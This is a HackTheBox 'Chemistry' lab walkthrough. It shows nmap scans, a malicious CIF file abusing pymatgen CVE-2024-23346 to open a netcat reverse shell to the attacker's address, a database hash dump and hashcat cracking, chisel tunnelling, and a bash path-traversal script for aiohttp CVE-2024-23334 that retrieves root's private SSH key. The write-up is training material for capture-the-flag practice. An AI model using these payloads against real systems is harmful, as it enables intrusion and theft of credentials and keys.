HTB — Chemistry
CIF file parser RCE via pymatgen CVE-2024-23346 arbitrary code execution. aiohttp path traversal CVE-2024-23334 for credential theft and lateral movement.
nmap
nmap -sC -sV -T4 -A -Pn -p- --open 10.10.11.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 01:07 EST
Nmap scan report for 10.10.11.38
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Fri, 10 Jan 2025 06:08:19 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=1/10%Time=6780B950%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,38A,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3\
SF:x20Python/3\.9\.5\r\nDate:\x20Fri,\x2010\x20Jan\x202025\x2006:08:19\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x20719\r\nVary:\x20Cookie\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20h
SF:tml>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\
SF:"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"widt
SF:h=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Chemis
SF:try\x20-\x20Home</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x
SF:20href=\"/static/styles\.css\">\n</head>\n<body>\n\x20\x20\x20\x20\n\x2
SF:0\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<div\x20class=
SF:\"container\">\n\x20\x20\x20\x20\x20\x20\x20\x20<h1\x20class=\"title\">
SF:Chemistry\x20CIF\x20Analyzer</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>W
SF:elcome\x20to\x20the\x20Chemistry\x20CIF\x20Analyzer\.\x20This\x20tool\x
SF:20allows\x20you\x20to\x20upload\x20a\x20CIF\x20\(Crystallographic\x20In
SF:formation\x20File\)\x20and\x20analyze\x20the\x20structural\x20data\x20c
SF:ontained\x20within\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class
SF:=\"buttons\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<center>
SF:<a\x20href=\"/login\"\x20class=\"btn\">Login</a>\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20<a\x20href=\"/register\"\x20class=\"btn\">Re
SF:gister</a></center>\n\x20\x20\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x
SF:20\x20</div>\n</body>\n<")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBL
SF:IC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x2
SF:0\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Cont
SF:ent-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\
SF:n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20r
SF:esponse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400<
SF:/p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20v
SF:ersion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Err
SF:or\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20re
SF:quest\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20<
SF:/body>\n</html>\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/10%OT=22%CT=1%CU=35939%PV=Y%DS=2%DC=T%G=Y%TM=6780
OS:B9B3%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 23.75 ms 10.10.14.1
2 23.81 ms 10.10.11.38
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.73 seconds
nmap udp
sudo nmap -sU -sV -sC -p U:161,22,110,143,993,995 10.10.11.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 01:38 EST
Nmap scan report for 10.10.11.38
Host is up (0.018s latency).
PORT STATE SERVICE VERSION
22/udp closed ssh
110/udp closed pop3
143/udp closed imap
161/udp closed snmp
993/udp closed imaps
995/udp closed pop3s5000/tcp open upnp?
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Fri, 10 Jan 2025 06:08:19 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>CIF upload vulnerability
vuln.cif
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("busybox nc 10.10.14.6 1234 -e /bin/bash");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "upload > view to execute
nc -vlnp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.38] 38220
whoami
apppython3 -c 'import pty; pty.spawn("/bin/bash")'app.py
app@chemistry:~$ cat app.py
cat app.py
from flask import Flask, render_template, request, redirect, url_for, flash
from werkzeug.utils import secure_filename
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
from pymatgen.io.cif import CifParser
import hashlib
import os
import uuid
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
db = SQLAlchemy(app)
login_manager = LoginManager(app)
login_manager.login_view = 'login'
class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(150), nullable=False, unique=True)
password = db.Column(db.String(150), nullable=False)
class Structure(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
filename = db.Column(db.String(150), nullable=False)
identifier = db.Column(db.String(100), nullable=False, unique=True)
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']
def calculate_density(structure):
atomic_mass_Si = 28.0855
num_atoms = 2
mass_unit_cell = num_atoms * atomic_mass_Si
mass_in_grams = mass_unit_cell * 1.66053906660e-24
volume_in_cm3 = structure.lattice.volume * 1e-24
density = mass_in_grams / volume_in_cm3
return density
@app.route('/')
def index():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if User.query.filter_by(username=username).first():
flash('Username already exists.')
return redirect(url_for('register'))
hashed_password = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password=hashed_password)
db.session.add(new_user)
db.session.commit()
login_user(new_user)
return redirect(url_for('dashboard'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter_by(username=username).first()
if user and user.password == hashlib.md5(password.encode()).hexdigest():
login_user(user)
return redirect(url_for('dashboard'))
flash('Invalid credentials')
return render_template('login.html')
@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))
@app.route('/dashboard')
@login_required
def dashboard():
structures = Structure.query.filter_by(user_id=current_user.id).all()
return render_template('dashboard.html', structures=structures)
@app.route('/upload', methods=['POST'])
@login_required
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
identifier = str(uuid.uuid4())
filepath = os.path.join(app.config['UPLOAD_FOLDER'], identifier + '_' + filename)
file.save(filepath)
new_structure = Structure(user_id=current_user.id, filename=filename, identifier=identifier)
db.session.add(new_structure)
db.session.commit()
return redirect(url_for('dashboard'))
return redirect(request.url)
@app.route('/structure/<identifier>')
@login_required
def show_structure(identifier):
structure_entry = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()
filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure_entry.identifier + '_' + structure_entry.filename)
parser = CifParser(filepath)
structures = parser.parse_structures()
structure_data = []
for structure in structures:
sites = [{
'label': site.species_string,
'x': site.frac_coords[0],
'y': site.frac_coords[1],
'z': site.frac_coords[2]
} for site in structure.sites]
lattice = structure.lattice
lattice_data = {
'a': lattice.a,
'b': lattice.b,
'c': lattice.c,
'alpha': lattice.alpha,
'beta': lattice.beta,
'gamma': lattice.gamma,
'volume': lattice.volume
}
density = calculate_density(structure)
structure_data.append({
'formula': structure.formula,
'lattice': lattice_data,
'density': density,
'sites': sites
})
return render_template('structure.html', structures=structure_data)
@app.route('/delete_structure/<identifier>', methods=['POST'])
@login_required
def delete_structure(identifier):
structure = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()
filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure.identifier + '_' + structure.filename)
if os.path.exists(filepath):
os.remove(filepath)
db.session.delete(structure)
db.session.commit()
return redirect(url_for('dashboard'))
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', port=5000)
app@chemistry:/opt$ uname -a
uname -a
Linux chemistry 5.4.0-196-generic #216-Ubuntu SMP Thu Aug 29 13:26:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux[*] fst100 Useful binaries................................................. yes!
---
/usr/bin/curl
/usr/bin/dig
/usr/bin/gcc
/usr/bin/nc.openbsd
/usr/bin/nc
/usr/bin/netcat
/usr/bin/wget[*] net000 Services listening only on localhost............................ yes!
---
tcp LISTEN 0 128 127.0.0.1:8080 0.0.0.0:* sqlite
app@chemistry:~$ find / -name "database.db" 2>/dev/null
find / -name "database.db" 2>/dev/null
/home/app/database.db
/home/app/instance/database.dbapp@chemistry:~$ cd instancesqlite> select * from user;
select * from user;
1|admin|2861deba...
2|app|197865e4...
3|rosa|63ed86ee...
4|robert|02fcf7cf...
5|jobert|3dec299e...
6|carlos|9ad48828...
7|peter|6845c17d...
8|victoria|c3601ad2...
9|tania|a4aa55e8...
10|eusebio|6cad4807...
11|gelacia|4af70c80...
12|fabian|4e5d71f5...
13|axel|9347f972...
14|kristel|6896ba7b...
15|test|098f6bcd...hashcat
hashcat -m 0 '63ed86ee...' /usr/share/wordlists/rockyou.txt
63ed86ee...:unicorniosrosados creds
rosa:unicorniosrosados
ssh
ssh rosa@10.10.11.38user.txt
rosa@chemistry:~$ cat user.txt
77e3ea04...priv esc
port 8080
rosa@chemistry:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* ./chisel server --reverse --port 12358000 is kali port and 8080 is the target port
rosa@chemistry:~$ ./chisel client 10.10.14.6:1235 R:8000:127.0.0.1:8080
rosa@chemistry:/opt$ ls
monitoring_siteaiohttp 3.9.1 (LFI)
- https://github.com/z3rObyte/CVE-2024-23334-PoC

feroxbuster --url http://127.0.0.1:8000
404 GET 1l 3w 14c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 88l 171w 1380c http://127.0.0.1:8000/assets/css/style.css
200 GET 5l 83w 59344c http://127.0.0.1:8000/assets/css/all.min.css
403 GET 1l 2w 14c http://127.0.0.1:8000/assets
200 GET 20l 3036w 205637c http://127.0.0.1:8000/assets/js/chart.js
200 GET 72l 171w 2491c http://127.0.0.1:8000/assets/js/script.js
200 GET 2l 1294w 89501c http://127.0.0.1:8000/assets/js/jquery-3.6.0.min.js
200 GET 153l 407w 5971c http://127.0.0.1:8000/
403 GET 1l 2w 14c http://127.0.0.1:8000/assets/js/
403 GET 1l 2w 14c http://127.0.0.1:8000/assets/css/
403 GET 1l 2w 14c http://127.0.0.1:8000/assets/
403 GET 1l 2w 14c http://127.0.0.1:8000/assets/js
403 GET 1l 2w 14c http://127.0.0.1:8000/assets/css
[####################] - 85s 120008/120008 0s found:12 errors:0
[####################] - 84s 30000/30000 357/s http://127.0.0.1:8000/
[####################] - 84s 30000/30000 357/s http://127.0.0.1:8000/assets/
[####################] - 84s 30000/30000 357/s http://127.0.0.1:8000/assets/css/
[####################] - 84s 30000/30000 357/s http://127.0.0.1:8000/assets/js/ 
./exploit.sh
[+] Testing with /assets/../etc/passwd
Status code --> 404
[+] Testing with /assets/../../etc/passwd
Status code --> 404
[+] Testing with /assets/../../../etc/passwd
Status code --> 200
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologinread the private ssh key for root
#!/bin/bash
url="http://localhost:8000"
string="../"
payload="/assets/"
file="root/.ssh/id_rsa" # without the first /
for ((i=0; i<30; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [[ $status_code -eq 200 ]]; then
curl -s --path-as-is "$url$payload$file"
break
fi
done./exploit.sh
[+] Testing with /assets/../root/.ssh/id_rsa
Status code --> 404
[+] Testing with /assets/../../root/.ssh/id_rsa
Status code --> 404
[+] Testing with /assets/../../../root/.ssh/id_rsa
Status code --> 200
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU
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-----END OPENSSH PRIVATE KEY-----chmod 600 chemistry_root_id_rsassh -i chemistry_root_id_rsa root@10.10.11.38
root@chemistry:~# whoami
rootroot@chemistry:~# cat root.txt
ae965691...Up next
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ResumeAI app with IDOR exposing all resumes. LimeSurvey RCE via authenticated plugin upload. Consul service token for SYSTEM shell via API exec.
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